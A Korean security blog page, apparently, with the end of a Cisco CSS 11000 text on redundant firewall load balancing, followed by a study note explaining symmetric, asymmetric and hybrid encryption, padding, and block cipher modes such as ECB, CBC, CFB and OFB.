    리던던시를 추가로 제공하기 위해 활성/비활성 구성으로 로드 밸런싱이 이루어지고 있는 방화벽 양쪽에 Cisco CSS 11000 시리즈 스위치를 여러 개 설치할 수 있습니다. 이렇게 하면 그림 4에서와 같이 방화벽과 웹 스위치 모두의 단일 장애점이 제거됩니다. 이 구성에서 비활성 웹 스위치는 활성 Cisco CSS 11000 시리즈 스위치의 상태를 모니터링하고 스위치나 업링크 장애를 감지함과 동시에 VRRP(Virtual Router Redundancy Protocol)를 사용하여 비활성 스위치 쌍으로 제어를 전송합니다.

    그림 4: 완벽한 이중 방화벽 로드 밸런싱 예

     

    결론


    Cisco CSS 11000 시리즈 스위치는 성능이나 확장성을 손상시키지 않고 모든 측면의 웹 사이트 보안을 위한 포괄적인 솔루션을 제공하도록 설계되었습니다. Cisco CSS 11000 시리즈 스위치는 정교한 DoS 공격을 제거할 수 있도록 내재된 지능을 각 웹 사이트별로 고객 보안 정책을 구성할 수 있는 유연성과 결합하여 실제 고객과 정당한 사용자가 사이트를 항상 사용할 수 있도록 보장합니다.

    // www.cisco.com/global/KR/products/pc/cnd/c11000/cswsc_wi.shtml

  • 'Security' 카테고리의 다른 글

    해킹툴이 사용하는 포트  (0) 2017.01.08
    잘 알려진 백도어에서 사용하는 포트  (0) 2017.01.08
    암호화 모드  (0) 2017.01.08
    방화벽 내용 정리  (0) 2017.01.08
    All in one 정리  (0) 2017.01.08

    ◇ 암호 : 데이터를 암호화하고 복호화 한다. 그 종류에는..

    • 대칭 또는 개인키
      : 암호는 데이터를 암호화하고 복호화하기 위해 하나의 개인키를 사용.
        대칭키는 사람이 데이터를 암호화하고 복호화할 때, 하드디스크 파일 암호화 같은 애플리케이션에 유용.
       
    • 비대칭 또는 공개키
      : 암호는 한 쌍의 키를 사용.
        하나의 키는 공개되어 자유롭게 돌아다니고 다른 키는 비밀로 유지되어야 함.
        어느 하나의 키로 암호화된 데이터는 다른 키를 사용하여 복호화될 수 있음.
       
    • 하이브리드(hybrid)시스템
      : 대칭과 비대칭 암호를 결합하여 사용.
        하이브리드 시스템에서 비대칭 암호는 소위 개인키(비밀키 또는 세션키)를 교환하기 위해 사용.
        개인키는 데이터 암호화 및 복호화를 위해 대칭 암호화와 함께 사용.

     ◇ 스트림과 블록 암호(Stream & Block Cipher)

    • 블록암호 : 고정된 크기(64bit)의 데이터 블록을 암호화하고 복호화.
        블록 암호는 암호화와 복호화에 적용되는 키(key)가 동일하냐 또는 상이하냐에 따라서 대칭형 암호와 
        공개키 암호로 분류된다. 공개키 암호에서는 암호화를 위해서 공개된 공개키(public key)가 적용되지만
        복호화에는 공개키에 대응되는 개인키(private key)에 적용된다. 
       
    • 스트림암호 : 비트나 바이트의 스트림상에서 작동.
                             

     ◇ 블록 암호(Block Cipher)

    • 패딩(Padding)
       - 평문이 항상 블록 크기(일반적으로 64bit)의 배수가 되는 것은 아님.
       - 마지막 불완전한 블록을 보정하기 위하여, 패딩이 필요.
       - 복호화 과정에서 패딩을 제거하고 평문의 실제 길이를 저장.
       
    • PKCS#5
       - 일종의 패딩기법
       - 공개키 암호화 표준(Public-Key Cryptography Standard).
       - 블록의 나머지 부분을 바이트의 수로 채움.
       

      - 원래 평문의 길이가 블록 크기와 같다고 해도, 암호화될 때마다 패딩이 항상 추가

    • 기타 패딩 기법
      - 블록의 잉여 부분을 랜덤 데이터나 데이터의 패턴으로 채울 수 있다.
      - 패딩을 제거하기 위한 어떤 방법만 가지고 있으면 된다.
       
    • 암호 모드
      - 평문의 블록이 암호문의 블록으로 암호화되는 방법을 결정. 그 역도 성립.
      - getMode()를 호출함으로써 암호 모드를 알아낼 수 있음.
      - SunJCE 프로바이더는 ECB, CBC, CFB, OFB, PCBC 모드를 지원.

      1) ECB(Electronic Code Book)
          - 평문의 각 블록은 암호문의 블록으로 암호화함.
          - (단점) : 사용자가, 동일 키 사용시, 동일한 평문을 항상 동일한 암호문으로 암호화함.

      2) CBC(Cipher Block Chaining)
          - ECB모드의 단점을 보완.
          - 평문의 각 블록은 XOR을 이용하여 이전 블록의 암호문과 연산.
          - 평문의 첫 번째 블록에 대하여는 암호문으로 IV(Initialization Vector)가 사용.
          - IV는 랜덤 데이터, 데이터를 정확하게 복호화하기 위해 암호문을 동일한 IV로 초기화해야 함.
          - CBC 복호화는 암호화 과정의 반대.
          - 암호문의 각 블록이 복호화될 때마다, 이전의 암호문 블록과 XOR로 연산되고, 평문을 생성함.
          - 다시, 암호는 IV를 이용하여 초기화되어 계속 진행됨.
       

             
                 ※ IV(Initialization Vector) : 키의 한 종류.
                                                          암호화 측면에서, 암호는 키와 IV를 사용함으로써 초기화됨.
                                                          복호화가 끝날 때, 암호는 키와 동일한 IV로서 초기화됨.
                                                          IV는 암호문을 복호화하려는 누군가에게 전송되어야 함.

            3) PCBC(Propagating Cipher Block Chaining)
                - CBC모드와 상당히 유사.
                - 평문 블록이 암호화될 때, 이전의 평문 블록과 이전의 암호문 블록으로 동시에 XOR로 연산됨.
                - 복호화된 이전의 평문과 암호문 블록으로 XOR로 연산됨.

            4) CFB(Cipher FeedBack)
                 - 블록 암호가 스트림 암호처럼 동작.
                 - IV를 이용.
                 - 블록암호는 블록 크기보다 작은 데이터의 조각을 암호화할 수 있음.
                 - CFB8 : 동시에 한 바이트(8비트)를 암호화하거나 복호화하는 데 사용.

      『 암호화 (p→c) 
          ① 블록 암호를 이용하여 기본적 암호의 블록 크기만큼 버퍼를 암호화.
               초기에 버퍼는 IV로 채워진다.

           ② 암호화된 버퍼의 최좌단 비트 수와 평문은 XOR로 연산됨. 그 결과 암호문이 출력됨.
               암호화된 버퍼의 나머지는 폐기됨.
               CFB8에서, 암호화된 버퍼의 최좌단 바이트는 평문과 XOR 

           ③ CFB8에서, 버퍼는 한 바이트 왼쪽으로 이동.
                암호문은 버퍼의 오른쪽편에 있는 빈 공간을 채우는 데 사용된다.
                이 버퍼는 다음 암호화에서 다시 사용될 것이다.
                이 과정이 계속되면, 버퍼는 전부 암호문으로 채우는 데 사용될 것이다.

      『 복호화 (c→p) 
         ① 버퍼는 블록 암호를 이용하여 암호화한다. 
              암호문 바이트를 복호화할 지라도, 여전히 버퍼를 암호화 하기 위해 블록 암호를 이용한다.

          ② 암호화된 버퍼의 최좌단 비트는 평문 출력을 처리하는 암호문과 XOR로 연산된다.
               다시, 암호화된 버퍼의 나머지는 폐기된다.

          ③ 원래 버퍼는 왼쪽으로 이동하고, 암호문으로 채워진다. 
              이 버퍼는 다음 복호화에서 다시 사용될 것이다.

            5) OFB(Output FeedBack)
                 - 내부 버퍼가 갱신되는 것을 제외하고 CFB 모드처럼 동작.
                 - 내부 버퍼가 왼쪽으로 이동될 때, 오른쪽의 공간은 암호화된 버퍼의 가장 왼쪽 비트로 채워짐.

             6) 기타 모드
                 - 암호를 사용할 때, 사용할 모드는 암호분석가에 대한 암호의 저항력과 전송 오류로부터 
                    회복할 수 있는 능력에 대해 많은 영향을 미친다.

    'Security' 카테고리의 다른 글

    잘 알려진 백도어에서 사용하는 포트  (0) 2017.01.08
    웹 사이트 보안 및 DoS(Denial-of-Service) 공격 방지  (0) 2017.01.08
    방화벽 내용 정리  (0) 2017.01.08
    All in one 정리  (0) 2017.01.08
    Kerberos  (0) 2017.01.08

    + Recent posts